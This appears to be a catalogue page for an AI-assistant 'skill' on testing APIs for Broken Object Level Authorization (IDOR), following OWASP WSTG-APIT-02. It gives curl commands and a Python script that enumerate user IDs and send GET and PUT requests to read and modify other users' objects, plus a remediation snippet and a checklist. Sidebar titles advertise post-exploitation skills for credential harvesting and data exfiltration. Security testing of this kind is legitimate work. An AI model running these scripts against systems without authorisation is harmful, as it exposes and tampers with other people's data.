一键导入
wstg-apit-02
Testing for Broken Object Level Authorization (BOLA)
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Testing for Broken Object Level Authorization (BOLA)
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
eBPF-based post-exploitation for kernel-level credential harvesting, process hiding, and traffic interception on Linux
AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
| name | wstg-apit-02 |
| description | Testing for Broken Object Level Authorization (BOLA) |
| category | api-testing |
| owasp_id | WSTG-APIT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["api","rest","graphql","soap","wstg","apit"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-APIT-02
Testing for Broken Object Level Authorization (BOLA/IDOR)
Broken Object Level Authorization (BOLA), also known as IDOR, occurs when an API fails to validate that the requesting user has permission to access the requested object. Attackers can manipulate object identifiers to access data belonging to other users.
# Find endpoints with IDs
# /api/users/{id}
# /api/orders/{id}
# /api/documents/{id}
# Test with different IDs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.com/api/users/100" | jq '.'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.com/api/users/101" | jq '.'
#!/usr/bin/env python3
import requests
class BOLATester:
def __init__(self, base_url, token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({"Authorization": f"Bearer {token}"})
self.findings = []
def test_endpoint(self, endpoint_template, target_ids):
"""Test BOLA on endpoint"""
print(f"\n[*] Testing BOLA on {endpoint_template}")
for target_id in target_ids:
if str(target_id) == str(self.own_id):
continue
endpoint = endpoint_template.replace("{id}", str(target_id))
url = f"{self.base_url}{endpoint}"
# Test GET
response = self.session.get(url)
if response.status_code == 200:
print(f"[VULN] BOLA: GET {endpoint}")
self.findings.append({
"method": "GET",
"endpoint": endpoint,
"severity": "High"
})
# Test PUT
response = self.session.put(url, json={"test": "data"})
if response.status_code in [200, 204]:
print(f"[VULN] BOLA: PUT {endpoint}")
self.findings.append({
"method": "PUT",
"endpoint": endpoint,
"severity": "Critical"
})
# Test DELETE (be careful!)
# response = self.session.delete(url)
def test_body_parameters(self, endpoint, param_name, target_ids):
"""Test BOLA via body parameters"""
print(f"\n[*] Testing body parameter BOLA: {param_name}")
for target_id in target_ids:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: target_id}
)
if response.status_code == 200:
data = response.json()
# Check if we got other user's data
if str(target_id) in str(data):
print(f"[VULN] BOLA via body param: {param_name}={target_id}")
self.findings.append({
"endpoint": endpoint,
"parameter": param_name,
"severity": "High"
})
def generate_report(self):
print("\n" + "="*50)
print("BOLA TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo BOLA vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n [{f['severity']}] {f.get('method', 'POST')} {f['endpoint']}")
# Usage
tester = BOLATester(
"https://target.com/api",
"user_token",
own_id=100
)
tester.test_endpoint("/users/{id}", range(95, 110))
tester.test_endpoint("/users/{id}/orders", range(95, 110))
tester.test_endpoint("/documents/{id}", range(1, 20))
tester.test_body_parameters("/user/data", "user_id", [101, 102, 103])
tester.generate_report()
@app.route('/api/users/<int:user_id>')
@require_auth
def get_user(user_id):
# ALWAYS verify ownership
if user_id != current_user.id and not current_user.is_admin:
abort(403)
return User.query.get_or_404(user_id).to_dict()
| Finding | CVSS | Severity |
|---|---|---|
| Read other users' data | 7.5 | High |
| Modify other users' data | 8.1 | High |
| Delete other users' data | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-639 | Authorization Bypass Through User-Controlled Key |
[ ] Object references identified
[ ] ID manipulation tested
[ ] All HTTP methods tested
[ ] Body parameters tested
[ ] UUID enumeration attempted
[ ] Findings documented